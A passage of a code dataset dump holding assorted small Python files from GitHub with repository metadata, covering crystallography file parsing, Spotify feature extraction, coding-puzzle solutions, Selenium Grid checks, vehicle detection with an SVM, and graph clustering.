re\n\nclass MtzData(object):\n '''Store items of interest from an MTZ file; this makes unit cell, space group\n and certain column types accessible to other programs'''\n \n def __init__(self, filename):\n #check if an MTZ file has ben provided; if not raise error and request file\n if filename is None:\n \t raise RuntimeError('Need to specify hklin filename')\n elif not os.path.exists(filename):\n raise RuntimeError('%s does not exist' % filename)\n self.mtz_file = gemmi.read_mtz_file(filename)\n \n self.sg_num = self.mtz_file.spacegroup.number\n \n f = self.mtz_file.columns_with_type(\"F\")\n f = re.findall(r'[A-Z]+', str(f))\n if \"F\" and \"WAVE\" in f:\n f = \"F_WAVE1\"\n self.fcols = f\n else:\n f = \"F\"\n self.fcols = f\n\n q = self.mtz_file.columns_with_type(\"Q\")\n q = re.findall(r'[A-Z]+', str(q))\n if \"SIGF\" and \"WAVE\" in q:\n q = \"SIGF_WAVE1\"\n self.qcols = q\n else:\n q = \"SIGF\"\n self.qcols = q\n\n self.cell = self.mtz_file.cell\n \n return\n\n","repo_name":"mevol/metrix_reloaded","sub_path":"modules/metrix_phase/util/mtz_data_object.py","file_name":"mtz_data_object.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16116514280","text":"# -*- coding: utf-8 -*-\nimport argparse\n\nfrom csv_file_manager import CsvFileManager\nfrom spotify_manager import SpotifyManager\n\n\nclass AudioFeaturesExtractor(object):\n\n def __init__(self, folder_path, filename_input, delimiter_input, filename_output, client_id, client_secret):\n self.csv_manager = CsvFileManager(folder_path, filename_input, delimiter_input, filename_output)\n self.spotify_manager = SpotifyManager(client_id, client_secret)\n\n def extract_features(self):\n csv_track_list = self.csv_manager.get_tracks_from_input_file()\n track_list = self.spotify_manager.add_data_and_features_to_track_list(csv_track_list)\n self.csv_manager.save_output_file_from_track_list(track_list)\n\n\nclass InputParser(object):\n def __init__(self):\n self.parser = argparse.ArgumentParser(description=\"Get audio features & track data for a csv list.\")\n self.path = ''\n self.input_filename = ''\n self.input_delimiter = ''\n self.output_filename = ''\n self.spotify_client_id = ''\n self.spotify_client_secret = ''\n\n def add_arguments(self):\n self.parser.add_argument('-path', action='store', dest='path', required=True,\n help='Path where input csv file is read and output csv file will be stored.')\n self.parser.add_argument('-input_filename', action='store', dest='input_filename', required=True,\n help='Input csv filename (including extension).')\n self.parser.add_argument('-input_delimiter', action='store', dest='input_delimiter', required=True,\n help=\"Csv delimiter for input file: specify 'comma' or 'semicolon'.\")\n self.parser.add_argument('-output_filename', action='store', dest='output_filename', required=True,\n help='Output csv filename (including extension).')\n self.parser.add_argument('-spotify_client_id', action='store', dest='spotify_client_id', required=True,\n help='Specify your Spotify Client ID.')\n self.parser.add_argument('-spotify_client_secret', action='store', dest='spotify_client_secret', required=True,\n help='Specify your Spotify Client Secret.')\n\n def parse_input(self):\n self.add_arguments()\n args = self.parser.parse_args()\n self.path = args.path\n if self.path[:-1] != '/':\n self.path += '/'\n self.input_filename = args.input_filename\n if args.input_delimiter == 'comma':\n self.input_delimiter = ','\n else:\n self.input_delimiter = ';'\n self.output_filename = args.output_filename\n self.spotify_client_id = args.spotify_client_id\n self.spotify_client_secret = args.spotify_client_secret\n\n\nargs_input = True\n\nif args_input:\n input_parser = InputParser()\n input_parser.parse_input()\n path = input_parser.path\n input_filename = input_parser.input_filename\n input_delimiter = input_parser.input_delimiter\n output_filename = input_parser.output_filename\n spotify_client_id = input_parser.spotify_client_id\n spotify_client_secret = input_parser.spotify_client_secret\nelse:\n path = '/Users/username/Desktop/AudioFeaturesExtractor/'\n input_filename = 'input_list_example.csv'\n input_delimiter = ';'\n output_filename = 'tracks_with_features.csv'\n spotify_client_id = ''\n spotify_client_secret = ''\n\nextractor = AudioFeaturesExtractor(\n path, input_filename, input_delimiter, output_filename, spotify_client_id, spotify_client_secret\n )\nextractor.extract_features()\n","repo_name":"flnavarro/AudioFeaturesExtractor","sub_path":"audio_features_extractor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"7971261448","text":"n = 100\r\n\r\ndef factorial(n):\r\n s = 1\r\n for i in reversed(range(2, n+1)):\r\n s *= i\r\n\r\n return s\r\n\r\nassert(factorial(10) == 3628800)\r\n\r\nscore = factorial(n)\r\nscore = str(score)\r\ncnt = 0\r\n\r\nfor i in score:\r\n cnt += int(i)\r\n\r\nprint(cnt)","repo_name":"Tier1Coder/algo","sub_path":"20) Factorial digit sum.py","file_name":"20) Factorial digit sum.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6453396841","text":"# https://leetcode.com/problems/swap-nodes-in-pairs/description/\n# tags: linked list\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if not head or not head.next:\n return head\n \n prev = head.next\n next = head.next.next\n\n head.next.next = head\n head.next = self.swapPairs(next)\n\n return prev\n\n\n\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n out = ListNode(0, head)\n\n prev = out\n curr = head\n while curr and curr.next:\n next = curr.next.next\n\n prev.next = curr.next\n curr.next.next = curr\n curr.next = next\n\n prev = curr\n curr = next\n \n return out.next\n","repo_name":"sangyeopjung/leetcode","sub_path":"linkedlists/SwapNodesInPairs.py","file_name":"SwapNodesInPairs.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31949208600","text":"from .main_module import MainModule\r\n\r\n\r\nclass Bar(MainModule):\r\n\r\n def __init__(self, erased, communicator, origin_bars, products_id, products_found, products_after_insert):\r\n\r\n self.__erased = erased\r\n self.__communicator = communicator\r\n self.__origin_bars = origin_bars\r\n self.__products_id = products_id\r\n self.__products_found = products_found\r\n self.__products_after_insert = products_after_insert\r\n self.__selected_data = []\r\n\r\n def start_bars(self):\r\n\r\n if self.__erased is True:\r\n self.__origin_bars = self._remove_erased(self.__origin_bars)\r\n\r\n self.__selected_data = self._extract_data(registers=self.__origin_bars,\r\n products_id=self.__products_id)\r\n self.__bars_treatment()\r\n\r\n def __bars_treatment(self):\r\n\r\n for bars in self.__selected_data:\r\n old_id = int(bars['id_produto'])\r\n id_found = self.__return_new_id(old_id)\r\n\r\n if id_found is None:\r\n new_id = self.__return_id_after_insert(old_id)\r\n bars.update({'id_produto_ant': old_id})\r\n bars.update({'id_produto': new_id})\r\n else:\r\n bars.update({'id_produto_ant': bars['id_produto']})\r\n bars.update({'id_produto': id_found})\r\n\r\n bars['comunicador'] = self.__communicator\r\n\r\n def __return_new_id(self, old_id):\r\n\r\n for product in self.__products_found:\r\n product_id = int(product['id_produto'])\r\n new_id = int(product['novo_id'])\r\n\r\n if old_id == product_id:\r\n return new_id\r\n else:\r\n continue\r\n\r\n def __return_id_after_insert(self, product_id):\r\n\r\n for product in self.__products_after_insert:\r\n old_id = int(product['campo_auxiliar'])\r\n new_id = int(product['id_produto'])\r\n\r\n if product_id == old_id:\r\n return new_id\r\n else:\r\n continue\r\n\r\n def get_bars(self):\r\n return self.__selected_data\r\n","repo_name":"victor-henri/integra-app","sub_path":"modules/bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22923026582","text":"import numpy as np\nimport precsum as ps\n\ndef printout(results, label):\n average_errors = results.mean(axis=1)\n max_errors = results.max(axis=1)\n\n print(\"name\\taverage \"+label+\"error\\tmax \"+label+\"error:\")\n print(\" numpy.sum()\\t\",average_errors[0],\"\\t\",max_errors[0])\n print(\" pairwise()\\t\",average_errors[1],\"\\t\",max_errors[1])\n print(\" kahan()\\t\",average_errors[2],\"\\t\",max_errors[2])\n print(\" neumaier()\\t\",average_errors[3],\"\\t\",max_errors[3])\n print(\" doubleprec()\\t\",average_errors[4],\"\\t\",max_errors[4])\n \ndef positive():\n N=100\n SIZE=10**7\n np.random.seed(42)\n\n\n results=np.empty((5,SIZE), dtype=np.float64)\n for i in range(N):\n values = np.random.rand(SIZE).astype(np.float32)\n golden = np.sum(values.astype(np.float64))\n results[0,i]=abs(np.sum(values)-golden)/abs(golden)\n results[1,i]=abs(ps.pairwise_sum_1d(values)-golden)/abs(golden)\n results[2,i]=abs(ps.kahan_sum_1d(values)-golden)/abs(golden)\n results[3,i]=abs(ps.neumaier_sum_1d(values)-golden)/abs(golden)\n results[4,i]=abs(ps.doubleprecision_sum_1d(values)-golden)/abs(golden)\n\n\n print(\"positive series:\")\n printout(results, \"rel. \")\n\n\ndef alternating():\n N=100\n SIZE=10**7\n np.random.seed(42)\n\n\n results=np.empty((5,SIZE), dtype=np.float64)\n for i in range(N):\n values = (np.random.rand(SIZE)-.5).astype(np.float32)\n #will be about 0.0, we are interested in absolute error (otherwise / almost 0.0 makes them less meaningful)\n golden = np.sum(values.astype(np.float64)) \n results[0,i]=abs(np.sum(values)-golden)\n results[1,i]=abs(ps.pairwise_sum_1d(values)-golden)\n results[2,i]=abs(ps.kahan_sum_1d(values)-golden)\n results[3,i]=abs(ps.neumaier_sum_1d(values)-golden)\n results[4,i]=abs(ps.doubleprecision_sum_1d(values)-golden)\n\n\n print(\"alternating series:\")\n printout(results,\"\")\n\npositive()\nalternating()\n\n","repo_name":"realead/precsum","sub_path":"tests/precision_performance_1d.py","file_name":"precision_performance_1d.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71959627608","text":"# -*- coding: utf-8 -*-\nimport time\nimport json\nimport meeting\n\ncrontable = []\noutputs = []\n\n#crontable.append([86400, \"check_events\"])\n\ndef is_event_in_next(days):\n events_list = meeting.get_events('Upcoming',days)\n if len(events_list) > 0:\n return events_list\n\ndef check_events():\n days=21\n if is_event_in_next(days):\n event_count=json.loads(is_event_in_next(days))\n outputs.append([\"C0NTENR9B\", 'In next %d days, :hackbat: Hacklag will organize %d meetings. \\n Any time, you can ask me about the details by using the `meeting next` command.' % (days, len(event_count))])\n","repo_name":"hacklag/hackbot","sub_path":"plugins/meetingAnnouncer.py","file_name":"meetingAnnouncer.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15942239859","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name=\"list\"),\n url(r'^(?P<id>\\d+)/edit/$', views.update, name=\"update\"),\n url(r'^create/$', views.create, name=\"create\"),\n url(r'^(?P<id>\\d+)/delete/$', views.delete, name=\"delete\"),\n url(r'^(?P<name>[\\w-]+)/$', views.detail, name=\"detail\"),\n]\n","repo_name":"shagtv/football","sub_path":"teams/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"36688275829","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 25 15:34:50 2017\n\n@author: Zdenek\n\"\"\"\n\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport glob\nimport time\nfrom sklearn.svm import LinearSVC\nfrom sklearn.preprocessing import StandardScaler\nfrom skimage.feature import hog\nfrom functions import *\nfrom sklearn.model_selection import train_test_split\nfrom scipy.ndimage.measurements import label\n\n#Find the list of windows to be searched (output of slide_windows())\ndef search_windows(img, windows, clf, scaler, color_space='RGB', \n spatial_size=(32, 32), hist_bins=32, \n hist_range=(0, 256), orient=9, \n pix_per_cell=8, cell_per_block=2, \n hog_channel=0, spatial_feat=True, \n hist_feat=True, hog_feat=True):\n \"\"\"\n Find the list of windows to be searched\n \"\"\"\n #1) Create an empty list to receive positive detection windows\n on_windows = []\n #2) Iterate over all windows in the list\n for window in windows:\n #3) Extract the test window from original image\n test_img = cv2.resize(img[window[0][1]:window[1][1], window[0][0]:window[1][0]], (64, 64)) \n #4) Extract features for that window using single_img_features()\n features = single_img_features(test_img, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n #5) Scale extracted features to be fed to classifier\n test_features = scaler.transform(np.array(features).reshape(1, -1))\n #6) Predict using your classifier\n prediction = clf.predict(test_features)\n #7) If positive (prediction == 1) then save the window\n if prediction == 1:\n on_windows.append(window)\n #8) Return windows for positive detections\n return on_windows\n \n\ncolor_space = 'YCrCb' # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\norient = 9 # HOG orientations\npix_per_cell = 8 # HOG pixels per cell\ncell_per_block = 2 # HOG cells per block\nhog_channel = 0 # Can be 0, 1, 2, or \"ALL\"\nspatial_size = (32, 32) # Spatial binning dimensions\nhist_bins = 32 # Number of histogram bins\nspatial_feat = True # Spatial features on or off\nhist_feat = True # Histogram features on or off\nhog_feat = True # HOG features on or off\ny_start_stop = [350, 550] # Min and max in y to search in slide_window()\n \ndef train():\n \"\"\"\n Train the SVM classifier on the dataset\n \"\"\" \n \n cars = glob.glob('./carornot_big/vehicles/*/*.png')\n notcars = glob.glob('./carornot_big/non-vehicles/*/*.png')\n \n \n # Reduce the sample size because\n sample_size = -1\n cars = cars[0:sample_size]\n notcars = notcars[0:sample_size]\n \n time1 = time.time()\n \n car_features = extract_features(cars, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n notcar_features = extract_features(notcars, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n \n print('Features extracted in {:.3f} s'.format(time.time() - time1))\n \n X = np.vstack((car_features, notcar_features)).astype(np.float64) \n # Fit a per-column scaler\n X_scaler = StandardScaler().fit(X)\n # Apply the scaler to X\n scaled_X = X_scaler.transform(X)\n \n # Define the labels vector\n y = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n \n \n # Split up data into randomized training and test sets\n rand_state = 42\n X_train, X_test, y_train, y_test = train_test_split(\n scaled_X, y, test_size=0.2, random_state=rand_state)\n \n print('Using:',orient,'orientations',pix_per_cell,\n 'pixels per cell and', cell_per_block,'cells per block')\n print('Feature vector length:', len(X_train[0]))\n \n # Use a linear SVC \n svc = LinearSVC()\n # Check the training time for the SVC\n t=time.time()\n svc.fit(X_train, y_train)\n t2 = time.time()\n print(round(t2-t, 2), 'seconds to train SVC...')\n # Check the score of the SVC\n print('Test Accuracy of SVC = ', round(svc.score(X_test, y_test), 4))\n # Check the prediction time for a single sample\n t=time.time()\n\n # Save the classifier \n import pickle\n d = {}\n d['svc'] = svc\n d['scaler'] = X_scaler\n d['orient'] = orient\n d['hist_bins'] = hist_bins\n d['spatial_size'] = spatial_size\n d['cell_per_block'] = cell_per_block\n d['pix_per_cell'] = pix_per_cell\n with open('svc_pickle.p', 'wb') as f:\n pickle.dump(d, f)\n\n#%%\nimport pickle\ndist_pickle = pickle.load( open(\"svc_pickle.p\", \"rb\" ) )\nsvc = dist_pickle[\"svc\"]\nX_scaler = dist_pickle[\"scaler\"]\norient = dist_pickle[\"orient\"]\npix_per_cell = dist_pickle[\"pix_per_cell\"]\ncell_per_block = dist_pickle[\"cell_per_block\"]\nspatial_size = dist_pickle[\"spatial_size\"]\nhist_bins = dist_pickle[\"hist_bins\"]\n \n \n#%%\n# Import everything needed to edit/save/watch video clips\nfrom moviepy.editor import VideoFileClip\nimport pandas as pd\nfrom scipy.ndimage.measurements import label\n\n\ndef process_image(draw_image, debug=False):\n image = np.copy(draw_image)\n image = draw_image.astype(np.float32)/255\n\n windows = slide_window(image, x_start_stop=[650, None], y_start_stop=y_start_stop, \n xy_window=(128, 128), xy_overlap=(0.85, 0.85))\n\n hot_windows = search_windows(image, windows, svc, X_scaler, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat) \n\n if debug:\n boxmap = np.copy(draw_image)\n boxmap = draw_boxes(boxmap, hot_windows, color=(0, 0, 255), thick=6)\n plt.imshow(boxmap), plt.show()\n mpimg.imsave('box6.jpg', boxmap)\n \n heatmap = np.zeros((720, 1280))\n \n heatmap = add_heat(heatmap, hot_windows)\n hheat = np.max(heatmap)\n if debug: \n print('hightest heat: {}'.format(hheat))\n plt.figure(figsize=(15,10))\n plt.subplot(121)\n plt.imshow(boxmap)\n plt.subplot(122), plt.imshow(heatmap), plt.show()\n heatmap = apply_threshold(heatmap, 1)\n \n labels = label(heatmap)\n if debug: print(len(labels))\n if debug: print(labels[1], 'cars found')\n if labels[1] > 0:\n # plt.imshow(labels[0]), plt.show()\n #result = draw_boxes(draw_image, hot_windows, color=(0, 0, 255), thick=6) \n result = draw_labeled_bboxes(draw_image,labels) \n\n else:\n result = draw_image\n return result\n \ndef process_frames(get_frame, t):\n \n image = get_frame(t)\n result = process_image(image)\n #cv2.putText(result,\"Frame: {}\".format(np.int(30*t)), (100,200), cv2.FONT_HERSHEY_DUPLEX, 1, 100,3)\n\n return result\n\ndef batch_process_frames(get_frame, t):\n \n frames = []\n for i in range(3):\n frames.append(get_frame(t + i/25))\n #image = get_frame(t)\n result = heat_frames(frames)\n #cv2.putText(result,\"Frame: {}\".format(np.int(30*t)), (100,200), cv2.FONT_HERSHEY_DUPLEX, 1, 100,3)\n\n return result\n \nimage = mpimg.imread('./test_images/test6.jpg')\nplt.imshow(process_image(image, True)), plt.show()\n#plt.imshow(draw_labeled_bboxes(np.copy(image), labels))\n\n\n\n#%%\ndef heat_frames(frames, debug=False):\n\n heatmap = np.zeros((720, 1280)) \n \n for image in frames:\n draw_image = np.copy(image)\n image = draw_image.astype(np.float32)/255\n windows = slide_window(image, x_start_stop=[650, None], y_start_stop=y_start_stop, \n xy_window=(128, 128), xy_overlap=(0.85, 0.85))\n \n hot_windows = search_windows(image, windows, svc, X_scaler, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat) \n \n\n heatmap = add_heat(heatmap, hot_windows)\n\n if debug:\n print('hightest heat: {}'.format(np.max(heatmap)))\n plt.imshow(heatmap), plt.show()\n heatmap = apply_threshold(heatmap, 2)\n labels = label(heatmap)\n if debug: print(labels[1], 'cars found')\n if labels[1] > 0:\n if debug: plt.imshow(labels[0]), plt.show()\n # result = draw_boxes(draw_image, hot_windows, color=(0, 0, 255), thick=6) \n result = draw_labeled_bboxes(draw_image,labels) \n\n else:\n result = draw_image\n return result\n\n\n\nvideo = 'project_video'\n\noutput = video + '_out.mp4'\nclip = VideoFileClip('./' + video + '.mp4')\n#subclip = clip.subclip(23, 30)\n#○subclip = clip.subclip(25, 30)\nsubclip = clip\n#out_clip = subclip.fl(process_frames) \nout_clip = subclip.fl(batch_process_frames) \nout_clip.write_videofile(output, audio=False)\n\n","repo_name":"zzzdnk/ud-carnd-project5","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":10169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2077396301","text":"\nstr = 'g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.'\nmap = {\n 'm':'k',\n 'q':'o',\n 'g':'e'\n}\ntxt = \"\"\nfor c in str:\n # if c in map :\n # txt += map[c]\n # print (map[c])\n # else :\n # txt += c\n # print (c)\n print (chr(ord(c) + 2))\n txt += (chr(ord(c) + 2))\n\nprint (txt)\nprint (str)","repo_name":"xinghen91/learn_python","sub_path":"python_change/pc2.py","file_name":"pc2.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18244538228","text":"import logging\nimport requests\nimport time\n\n\nclass GridHelper:\n empty_response = {\n \"value\": None,\n }\n\n def wait_for_grid_4_availability(grid_url, timeout=30) -> None:\n \"\"\"\n Waits for the Selenium Grid 4 hub to be available\n\n :param grid_url: The URL of the Selenium Grid hub\n :type grid_url: string\n :param timeout: The timeout in seconds (Default: 30)\n :type timeout: int\n :return: None\n \"\"\"\n\n logging.info(f\"Waiting for Selenium Grid 4 to be available at {grid_url}\")\n for i in range(timeout):\n if GridHelper.is_grid_4_available(grid_url):\n return True\n time.sleep(1)\n\n raise Exception(\n f\"Timed out waiting for Selenium Grid 4 to be available at {grid_url}\"\n )\n\n def is_grid_4_available(grid_url) -> bool:\n \"\"\"\n Checks if the Selenium Grid hub is available\n\n :param grid_url: The URL of the Selenium Grid hub\n :type grid_url: string\n :return: True if the Selenium Grid hub is available, False otherwise\n \"\"\"\n\n logging.info(f\"Checking if Selenium Grid 4 is available at {grid_url}\")\n try:\n response = requests.get(f\"{grid_url}/status\")\n return response.status_code == 200 and response.json()[\"value\"][\"ready\"]\n except:\n return False\n","repo_name":"vikmaksymenko/brightside","sub_path":"src/utils/selenium_grid_utils.py","file_name":"selenium_grid_utils.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"364194395","text":"\"\"\"\n1064. Fixed Point\nGiven an array A of distinct integers sorted in ascending order, return the smallest index i that satisfies A[i] == i. Return -1 if no such i exists.\n\nExample 1:\nInput: [-10,-5,0,3,7]\nOutput: 3\nExplanation: \nFor the given array, A[0] = -10, A[1] = -5, A[2] = 0, A[3] = 3, thus the output is 3.\n\nExample 2:\nInput: [0,2,5,8,17]\nOutput: 0\nExplanation: \nA[0] = 0, thus the output is 0.\n\nExample 3:\nInput: [-10,-5,3,4,7,9]\nOutput: -1\nExplanation: \nThere is no such i that A[i] = i, thus the output is -1.\n\nNote:\n\n1 <= A.length < 10^4\n-10^9 <= A[i] <= 10^9\n\"\"\"\n# Time complexity: O(logN)\n# Space complexity: O(1)\nclass Solution:\n def fixedPoint(self, A: List[int]) -> int:\n left, right = 0, len(A)-1\n while left < right:\n mid = (left+right)//2\n if mid > A[mid]:\n left = mid + 1\n else:\n right = mid\n return left if A[left] == left else -1\n","repo_name":"victorplusc/Algorithms","sub_path":"Leetcode/1064. Fixed Point.py","file_name":"1064. Fixed Point.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"37778575869","text":"import socket\nfrom requests.request import *\nfrom enum import Enum\nimport json\nimport threading\n\nclass Request(Enum):\n CONNECT = 0\n CLOSE = 1\n INSERT = 2\n UPDATE = 3\n SELECT = 4\n\n\nrequest = Requests()\nconn_id = 0\n\n\ndef acceptconnections(server_socket):\n global conn_id\n global request\n\n conn, addr = server_socket.accept()\n\n request.commands[Request.CONNECT.value].execute(str(conn_id), conn, addr, request)\n\n payload = {\n \"key\": str(conn_id)\n }\n\n connection, addr = request.conns[str(conn_id)]\n\n payload = json.dumps(payload)\n payload = payload.encode('utf-8')\n\n connection.send(payload)\n\n conn_id += 1\n\n print(\"Connection from \" + str(addr))\n\n newthread = threading.Thread(name=addr, target=handlerequest, args=(conn, addr))\n newthread.start()\n\n\ndef handlerequest(conn, addr):\n while True:\n data = conn.recv(4098)\n data = data.decode()\n data = json.loads(data)\n\n if data['messagetype'] == Request.CLOSE.value:\n request.commands[data['messagetype']].execute(data, request)\n break\n\n request.commands[data['messagetype']].execute(conn, data, request)\n\n conn.close()\n\ndef Main():\n\n host = '172.31.64.211'\n port = 1337\n\n #instantiate the command pattern to handle requests and add commands\n request.addRequest(Request.CONNECT.value, ConnectionRequest)\n request.addRequest(Request.CLOSE.value, CloseRequest)\n request.addRequest(Request.INSERT.value, InsertRequest)\n request.addRequest(Request.UPDATE.value, UpdateRequest)\n request.addRequest(Request.SELECT.value, SelectRequest)\n\n #setup socket to listen on\n server_socket = socket.socket()\n server_socket.bind((host, port))\n\n server_socket.listen(5)\n print(\"Server started and waiting on connections...\")\n\n while True:\n acceptconnections(server_socket)\n\n\nif __name__ == '__main__':\n Main()\n","repo_name":"grayac2/BucBoard","sub_path":"Server/venv/server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31387119644","text":"import numpy\r\nimport urllib\r\nimport scipy.optimize\r\nimport random\r\nfrom math import exp\r\nfrom math import log\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nimport collections\r\n\r\n\r\n\r\n# Karate club\r\nG = nx.karate_club_graph()\r\nnx.draw(G)\r\n# plt.show()\r\nplt.clf()\r\n\r\nedges = set()\r\nnodes = set()\r\nfor edge in urllib.urlopen(\"http://jmcauley.ucsd.edu/cse255/data/facebook/egonet.txt\", 'r'):\r\n x,y = edge.split()\r\n x,y = int(x),int(y)\r\n edges.add((x,y))\r\n edges.add((y,x))\r\n nodes.add(x)\r\n nodes.add(y)\r\n\r\nG = nx.Graph()\r\nfor e in edges:\r\n G.add_edge(e[0],e[1])\r\n# nx.draw(G)\r\n# plt.show()\r\nplt.clf()\r\n\r\nprint(\"start bfs\")\r\n\r\nvisited={}\r\ngraphs=[]\r\n\r\ndef BFS(node,nodes,visited):\r\n graph=set()\r\n queue=collections.deque([node])\r\n while queue:\r\n curr=queue.popleft()\r\n graph.add(curr)\r\n visited[curr]=True\r\n for next_node in nodes:\r\n if (curr,next_node) in edges and not visited[next_node]:\r\n queue.append(next_node)\r\n return graph\r\n\r\n\r\nfor node in nodes:\r\n visited[node]=False\r\n print(node)\r\nprint(\"build graphs\")\r\nfor node in nodes:\r\n if not visited[node]:\r\n temp=BFS(node,nodes,visited)\r\n print(temp)\r\n graphs.append(temp)\r\nprint(graphs)\r\n\r\nlargest=sorted(list(graphs[0]))\r\nprint(largest)\r\ncluster1=largest[:(len(largest)/2)]\r\ncluster2=largest[(len(largest)/2):]\r\nprint(cluster1)\r\nprint(cluster2)\r\ndef normalized_cut(edges,cluster1,cluster2):\r\n edge_count=0\r\n degree1,degree2=0,0\r\n for edge in edges:\r\n if edge[0] in cluster1 and edge[1] in cluster1:\r\n degree1+=0.5\r\n elif edge[0] in cluster2 and edge[1] in cluster2:\r\n degree2+=0.5\r\n elif edge[0] in cluster1 and edge[1] in cluster2:\r\n degree1+=1\r\n degree2+=1\r\n edge_count+=1\r\n print(degree1)\r\n print(degree2)\r\n print(edge_count)\r\n normalized_cut=(edge_count/degree1+edge_count/degree2)/2\r\n return normalized_cut\r\n\r\nminimum=normalized_cut(edges,cluster1,cluster2)\r\nprint(minimum)\r\nchange1,change2=[],[]\r\nfor i in range(len(cluster1)):\r\n temp1=cluster1[:i]+cluster1[i:]\r\n temp2=cluster2+[cluster1[i]]\r\n print(temp1,temp2)\r\n temp=normalized_cut(edges,temp1,temp2)\r\n if temp<minimum:\r\n minimum=temp\r\n change1.append(cluster1[i])\r\nfor move_node in cluster2:\r\n temp1=cluster1+[cluster2[i]]\r\n temp2=cluster2[:i]+cluster2[i:]\r\n temp=normalized_cut(edges,temp1,temp2)\r\n if temp<minimum:\r\n minimum=temp\r\n change2.append(move_node)\r\nfor node in change1:\r\n cluster1.remove(node)\r\n cluster2.append(node)\r\nfor node in change2:\r\n cluster1.append(node)\r\n cluster2.remove(node)\r\nprint(cluster1)\r\nprint(cluster2)\r\nprint(minimum)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n## Find all 3 and 4-cliques in the graph ###\r\n# cliques3 = set()\r\n# cliques4 = set()\r\n# for n1 in nodes:\r\n# for n2 in nodes:\r\n# if not ((n1,n2) in edges): continue\r\n# for n3 in nodes:\r\n# if not ((n1,n3) in edges): continue\r\n# if not ((n2,n3) in edges): continue\r\n# clique = [n1,n2,n3]\r\n# clique.sort()\r\n# cliques3.add(tuple(clique))\r\n# for n4 in nodes:\r\n# if not ((n1,n4) in edges): continue\r\n# if not ((n2,n4) in edges): continue\r\n# if not ((n3,n4) in edges): continue\r\n# clique = [n1,n2,n3,n4]\r\n# clique.sort()\r\n# cliques4.add(tuple(clique))\r\n\r\n\r\n\r\n# def parseData(fname):\r\n# for l in urllib.urlopen(fname):\r\n# yield eval(l)\r\n\r\n# print(\"Reading data...\")\r\n# data = list(parseData(\"http://jmcauley.ucsd.edu/cse190/data/beer/beer_50000.json\"))\r\n# print(\"done\")\r\n\r\n# def feature(datum):\r\n# feat = [1, datum['review/taste'], datum['review/appearance'], datum['review/aroma'], datum['review/palate'], datum['review/overall']]\r\n# return feat\r\n\r\n# X = [feature(d) for d in data]\r\n# y = [d['beer/ABV'] >= 